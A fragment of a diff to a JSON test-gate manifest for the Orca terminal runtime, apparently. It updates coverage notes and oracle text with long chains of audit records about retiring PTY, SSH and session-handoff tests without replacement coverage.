+        "Audit3368 historical original redGreenEvidence object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n        \"status\": \"missing\",\n        \"evidence\": \"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Renderer tests encode provider-session dedupe across active, inactive, queued, and live claims. The cross-boundary Electron oracle is constructed for byte-identical latest-main, candidate, and candidate-revert runs; record those three terminal results before promoting this gate.\"\n      }",
+        "Audit3368 historical original flakeHistory object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n        \"status\": \"unknown\",\n        \"evidence\": \"The renderer gate has prior local evidence; the stable-pane Electron oracle is new and needs CI soak before blocking promotion.\"\n      }"
       ],
       "demotionRule": "Demote or quarantine if failures are non-actionable or if a duplicate resume escape occurs outside the modeled matrix."
     },
@@ -7322,7 +7120,7 @@
       "providers": ["local", "daemon", "ssh", "wsl", "remote-runtime"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": ["local", "daemon", "ssh", "wsl", "remote-runtime"],
-      "coverageNotes": "Audit2694 source-only review: Remove14 authored/14 expanded cases in the renderer completion wrapper family, including the complete bell/query-reply/stale-input factory, without replacement. Retain29 authored/34 expanded cases with unchanged callback bodies. Three removals are the existing pending2203 overlap and must be adopted/count-reconciled once; eleven are fresh removals. No current-source runtime or gate execution is supplied by this packet; dated evidence retains its original source scope and does not validate the reduced factory bytes. No equivalent replacement, physical provider, mixed-version, mobile, rendered UI, cross-platform, soak or measured-performance result is claimed. The existing command and testFiles selector retain tests/pty-connection-completion-and-notification.test.ts; no wrapper-specific assertionRef is removed. Historical selector results do not validate its changed reachable factories. Historical prior account (preserved verbatim): Audit2709 removes src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts: intentionally retire waiting out an older inventory and sharing a fresh post-operation request among concurrent callers. No equivalent replacement or fresh execution is claimed. Dated receipts remain historical evidence for their unchanged selectors only; they do not validate the reduced commands or full current gate. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Delete the complete pure orphan-topology suite and its file membership; preserve the other selectors from its combined command after archiving the original command string. Lost alarms are synthetic current-layout preservation, one-anchor grafting and ambiguous-anchor appending examples. Do not transfer their ownership/topology scope to sibling suites. Preserve all5 independent historical receipts exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked agent-session suite and its prospective selector and aliases. Retire all3 whole dated changed-selector receipts, preserving their original raw objects in historical gaps without transferring counts or durations. Preserve5 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial agent-operation service suite retains only concurrent retry joining with changed-fingerprint conflict. Retire its complete three-title assertion object: old-owner legacy fallback before side effects, nested SSH Pi transcript refusal and completed/ambiguous physical-commit replay fences are no longer backed. Other probe/launch option/ledger/failure/remote-inventory examples disappear as detailed below. No actual provider spawn, live SSH or physical commit proof is retained by this source. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1911: The complete provider PTY-inspection mock suite is removed: missing-provider rejection, stale-PTY renderer unverifiable mapping, preserved supplied renderer failures, and supplied transport-loss mapping alarms are intentionally lost. No actual terminal teardown, daemon error or remote transport was exercised. Only the deleted explicit source tokens, testFile and whole assertionRef are removed. Meaningful remaining source selectors/assertions and unaffected dated receipts retain their original scope. No equivalent replacement, fresh reduced-gate, native/platform/provider, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1495 intentionally deletes the orphan-owner suite: explicit owner/host predicate examples are retired; no equivalent replacement coverage or fresh result is claimed. Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/agent-completion-coordinator-pending-title-inspection.test.ts: Loses obsolete pending title process races, inspection failure suppression, explicit completion precedence and delayed remote inspection alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audits1301 and1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic macOS tests cover controller claims, daemon and SSH/relay operation replay, mixed-version selection, runtime ownership, exact provisional handoff, durable terminal retirement, two independent viewer mirrors, guarded adoption of legacy live PTYs, and completion classification when either the outer remote transport or authoritative host/provider process inspection becomes unreachable. The adoption harness models v1.4.150 agent/setup/shell tabs, current-generation restart and reconnect, exact handle/incarnation/worktree/host checks, topology CAS, competing clients, split-pane/group restoration, WSL ownership, and SSH owner rejection. The secondary parity repro runs independent clients against one headless remote Orca runtime over encrypted pairing and a real daemon-backed PTY, with tokened fixture-process identity separated from unrelated Codex app-server startup probes. The automated primary topology runs an isolated headed macOS Orca desktop server plus a separate paired web client and proves viewer-local fresh/resume focus, exact legacy placement, writable PTYs, unrelated-terminal survival, and host/client cleanup. SSH coverage is provider/relay contract and fault-injection coverage only; it does not substitute for paired-server coverage. Live Windows, Linux, WSL, SSH, and physical paired-Linux hosts remain gaps. The isolated intent-owner ledger suite was removed. web-runtime-session.test.ts retains exact post-create handoff confirmation only; its previous fresh/resume presentation and publication-replay assertions are no longer current references. Those direct owner-partition, cap and RPC/focus alarms are lost; other agent-session evidence does not establish equivalence. Structured handoff and adopted-leaf focus references now point to their dedicated surviving fixtures. Mixed-version recovery retains actual old-host recovery followed by a new CLI tab; its unsupported/missing-evidence tables are removed. Orphan recovery retains in-flight adoption-conflict serialization only; previous topology/pruning and absence/adoption examples are removed. These removed projection, capability and adoption-shape alarms are lost; retained cases do not replace them. Audit1301: src/renderer/src/runtime/remote-runtime-session-tabs-inflight.test.ts reduced. Direct dedupe eviction/count and equal receipt-position sample loses authored alarm. No equivalent replacement coverage is claimed. Audit1308: src/renderer/src/runtime/web-session-tabs-sync-agent-handoff.test.ts removed. Exact provisional replacement and post-create exit confirmation handoff pipeline alarms disappear. No equivalent replacement coverage is claimed. Audit1313: src/main/runtime/terminal-orphan-topology.test.ts: Retain actual topology merge algorithms preserving disjoint subtrees and grafted/ambiguous shared anchors with independent expected trees. Remove duplicate leaf validator and empty/no-change passthrough examples. Lose basic validation and no-group/noop characterization; no renderer layout proof. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1342: src/renderer/src/components/terminal-pane/pty-connection-completion-and-notification.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.",
+      "coverageNotes": "Audit3368 retires the whole host-session-launch unit source, including host-authority/create/ensure/legacy/Kimi/refusal/draft/options/prompt/cancel/kill/shared-disconnect and passive-sleep output callback alarms, without equivalent replacement. Its unit command token and test-file entry retire. Five unrelated macOS receipts remain verbatim and keep only their original scope; no fresh changed-selector/runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires the whole create-handoff suite. Supplied disposition, late completion, close-callback and metadata-bookkeeping alarms are intentionally lost without equivalent replacement; the compound unit selector and test-file entry narrow accordingly. Five unrelated macOS receipts retain their original scope. No fresh runtime, process-deduplication, physical provider/network, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit2694 source-only review: Remove14 authored/14 expanded cases in the renderer completion wrapper family, including the complete bell/query-reply/stale-input factory, without replacement. Retain29 authored/34 expanded cases with unchanged callback bodies. Three removals are the existing pending2203 overlap and must be adopted/count-reconciled once; eleven are fresh removals. No current-source runtime or gate execution is supplied by this packet; dated evidence retains its original source scope and does not validate the reduced factory bytes. No equivalent replacement, physical provider, mixed-version, mobile, rendered UI, cross-platform, soak or measured-performance result is claimed. The existing command and testFiles selector retain tests/pty-connection-completion-and-notification.test.ts; no wrapper-specific assertionRef is removed. Historical selector results do not validate its changed reachable factories. Historical prior account (preserved verbatim): Audit2709 removes src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts: intentionally retire waiting out an older inventory and sharing a fresh post-operation request among concurrent callers. No equivalent replacement or fresh execution is claimed. Dated receipts remain historical evidence for their unchanged selectors only; they do not validate the reduced commands or full current gate. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Delete the complete pure orphan-topology suite and its file membership; preserve the other selectors from its combined command after archiving the original command string. Lost alarms are synthetic current-layout preservation, one-anchor grafting and ambiguous-anchor appending examples. Do not transfer their ownership/topology scope to sibling suites. Preserve all5 independent historical receipts exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked agent-session suite and its prospective selector and aliases. Retire all3 whole dated changed-selector receipts, preserving their original raw objects in historical gaps without transferring counts or durations. Preserve5 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial agent-operation service suite retains only concurrent retry joining with changed-fingerprint conflict. Retire its complete three-title assertion object: old-owner legacy fallback before side effects, nested SSH Pi transcript refusal and completed/ambiguous physical-commit replay fences are no longer backed. Other probe/launch option/ledger/failure/remote-inventory examples disappear as detailed below. No actual provider spawn, live SSH or physical commit proof is retained by this source. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1911: The complete provider PTY-inspection mock suite is removed: missing-provider rejection, stale-PTY renderer unverifiable mapping, preserved supplied renderer failures, and supplied transport-loss mapping alarms are intentionally lost. No actual terminal teardown, daemon error or remote transport was exercised. Only the deleted explicit source tokens, testFile and whole assertionRef are removed. Meaningful remaining source selectors/assertions and unaffected dated receipts retain their original scope. No equivalent replacement, fresh reduced-gate, native/platform/provider, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1495 intentionally deletes the orphan-owner suite: explicit owner/host predicate examples are retired; no equivalent replacement coverage or fresh result is claimed. Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/agent-completion-coordinator-pending-title-inspection.test.ts: Loses obsolete pending title process races, inspection failure suppression, explicit completion precedence and delayed remote inspection alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audits1301 and1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic macOS tests cover controller claims, daemon and SSH/relay operation replay, mixed-version selection, runtime ownership, exact provisional handoff, durable terminal retirement, two independent viewer mirrors, guarded adoption of legacy live PTYs, and completion classification when either the outer remote transport or authoritative host/provider process inspection becomes unreachable. The adoption harness models v1.4.150 agent/setup/shell tabs, current-generation restart and reconnect, exact handle/incarnation/worktree/host checks, topology CAS, competing clients, split-pane/group restoration, WSL ownership, and SSH owner rejection. The secondary parity repro runs independent clients against one headless remote Orca runtime over encrypted pairing and a real daemon-backed PTY, with tokened fixture-process identity separated from unrelated Codex app-server startup probes. The automated primary topology runs an isolated headed macOS Orca desktop server plus a separate paired web client and proves viewer-local fresh/resume focus, exact legacy placement, writable PTYs, unrelated-terminal survival, and host/client cleanup. SSH coverage is provider/relay contract and fault-injection coverage only; it does not substitute for paired-server coverage. Live Windows, Linux, WSL, SSH, and physical paired-Linux hosts remain gaps. The isolated intent-owner ledger suite was removed. web-runtime-session.test.ts retains exact post-create handoff confirmation only; its previous fresh/resume presentation and publication-replay assertions are no longer current references. Those direct owner-partition, cap and RPC/focus alarms are lost; other agent-session evidence does not establish equivalence. Structured handoff and adopted-leaf focus references now point to their dedicated surviving fixtures. Mixed-version recovery retains actual old-host recovery followed by a new CLI tab; its unsupported/missing-evidence tables are removed. Orphan recovery retains in-flight adoption-conflict serialization only; previous topology/pruning and absence/adoption examples are removed. These removed projection, capability and adoption-shape alarms are lost; retained cases do not replace them. Audit1301: src/renderer/src/runtime/remote-runtime-session-tabs-inflight.test.ts reduced. Direct dedupe eviction/count and equal receipt-position sample loses authored alarm. No equivalent replacement coverage is claimed. Audit1308: src/renderer/src/runtime/web-session-tabs-sync-agent-handoff.test.ts removed. Exact provisional replacement and post-create exit confirmation handoff pipeline alarms disappear. No equivalent replacement coverage is claimed. Audit1313: src/main/runtime/terminal-orphan-topology.test.ts: Retain actual topology merge algorithms preserving disjoint subtrees and grafted/ambiguous shared anchors with independent expected trees. Remove duplicate leaf validator and empty/no-change passthrough examples. Lose basic validation and no-group/noop characterization; no renderer layout proof. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1342: src/renderer/src/components/terminal-pane/pty-connection-completion-and-notification.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/issues/8878",
         "https://github.com/stablyai/orca/issues/9151",
@@ -7332,10 +7130,10 @@
         "https://github.com/stablyai/orca/pull/10193"
       ],
       "invariant": "For every claim-capable execution route, one provider-session identity has at most one live PTY owner and one canonical host surface across concurrent clients, retries, reconnects, and stale publications. For paired structured fresh and resume requests, the authenticated owning runtime creates in background without a renderer window; activate=true focuses the exact requested leaf only on the requesting viewer, while activate=false changes no viewer focus. A live orphan may be adopted only when the controller proves its exact handle and incarnation, its worktree and host owner match, no competing visual owner exists, and a host topology CAS wins. A viewer may classify completion only from successful host/provider inspection or explicit lifecycle evidence; transport, handle, or provider unavailability remains unknown and breaks any consecutive-idle proof. A physical exit retires that exact incarnation durably so stale client state and host restart cannot recreate it. Mixed-version routes select the unchanged legacy request before any authority side effect or execution-owner-local filesystem access.",
-      "oracle": "Audit2694 source-only review: Remove14 authored/14 expanded cases in the renderer completion wrapper family, including the complete bell/query-reply/stale-input factory, without replacement. Retain29 authored/34 expanded cases with unchanged callback bodies. Three removals are the existing pending2203 overlap and must be adopted/count-reconciled once; eleven are fresh removals. No current-source runtime or gate execution is supplied by this packet; dated evidence retains its original source scope and does not validate the reduced factory bytes. No equivalent replacement, physical provider, mixed-version, mobile, rendered UI, cross-platform, soak or measured-performance result is claimed. The existing command and testFiles selector retain tests/pty-connection-completion-and-notification.test.ts; no wrapper-specific assertionRef is removed. Historical selector results do not validate its changed reachable factories. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Delete the complete pure orphan-topology suite and its file membership; preserve the other selectors from its combined command after archiving the original command string. Lost alarms are synthetic current-layout preservation, one-anchor grafting and ambiguous-anchor appending examples. Do not transfer their ownership/topology scope to sibling suites. Preserve all5 independent historical receipts exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked agent-session suite and its prospective selector and aliases. Retire all3 whole dated changed-selector receipts, preserving their original raw objects in historical gaps without transferring counts or durations. Preserve5 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial agent-operation service suite retains only concurrent retry joining with changed-fingerprint conflict. Retire its complete three-title assertion object: old-owner legacy fallback before side effects, nested SSH Pi transcript refusal and completed/ambiguous physical-commit replay fences are no longer backed. Other probe/launch option/ledger/failure/remote-inventory examples disappear as detailed below. No actual provider spawn, live SSH or physical commit proof is retained by this source. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1911: The complete provider PTY-inspection mock suite is removed: missing-provider rejection, stale-PTY renderer unverifiable mapping, preserved supplied renderer failures, and supplied transport-loss mapping alarms are intentionally lost. No actual terminal teardown, daemon error or remote transport was exercised. Only the deleted explicit source tokens, testFile and whole assertionRef are removed. Meaningful remaining source selectors/assertions and unaffected dated receipts retain their original scope. No equivalent replacement, fresh reduced-gate, native/platform/provider, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Race independent clients and repeated operation IDs, then assert one physical spawn and one canonical PTY/surface; inject exit-before-reply, provider disconnect, conflicting claim scope, old daemon/relay capabilities, reused handles, stale incarnations, owner mismatch, and topology revision conflict; assert safe adoption or explicit failure without a second spawn or wrong-process attachment. Run fresh/resume with activate true/false against an isolated headed desktop host and a separate paired client, then against isolated headless serve: assert host presentation stays background, only the requesting viewer focuses the exact leaf, inactive calls preserve client/DOM focus, a same-version publication replay cannot lose focus intent, and sibling-first split publication cannot consume exact-leaf intent. Restore legacy split panes and groups beside a newer host-owned tab, preserving exact predecessor/new/successor order, output, input, resize, titles, tab/leaf identity, active group, and multi-client convergence. For completion, drive a known running agent through outer transport loss, authoritative provider rejection, reconnect, explicit stop, real exit status, and successful hook completion; assert unavailable evidence never dispatches completion and two fresh authoritative idle samples are required after the gap. After exact exit, assert terminal and tab listings omit the surface, a stale publication cannot restore it, restart cannot resurrect it, exact tokened fixture PIDs are dead, and unrelated tabs/processes survive until scoped cleanup.",
+      "oracle": "Audit3368 retires the whole host-session-launch unit source, including host-authority/create/ensure/legacy/Kimi/refusal/draft/options/prompt/cancel/kill/shared-disconnect and passive-sleep output callback alarms, without equivalent replacement. Its unit command token and test-file entry retire. Five unrelated macOS receipts remain verbatim and keep only their original scope; no fresh changed-selector/runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires the whole create-handoff suite. Supplied disposition, late completion, close-callback and metadata-bookkeeping alarms are intentionally lost without equivalent replacement; the compound unit selector and test-file entry narrow accordingly. Five unrelated macOS receipts retain their original scope. No fresh runtime, process-deduplication, physical provider/network, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit2694 source-only review: Remove14 authored/14 expanded cases in the renderer completion wrapper family, including the complete bell/query-reply/stale-input factory, without replacement. Retain29 authored/34 expanded cases with unchanged callback bodies. Three removals are the existing pending2203 overlap and must be adopted/count-reconciled once; eleven are fresh removals. No current-source runtime or gate execution is supplied by this packet; dated evidence retains its original source scope and does not validate the reduced factory bytes. No equivalent replacement, physical provider, mixed-version, mobile, rendered UI, cross-platform, soak or measured-performance result is claimed. The existing command and testFiles selector retain tests/pty-connection-completion-and-notification.test.ts; no wrapper-specific assertionRef is removed. Historical selector results do not validate its changed reachable factories. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 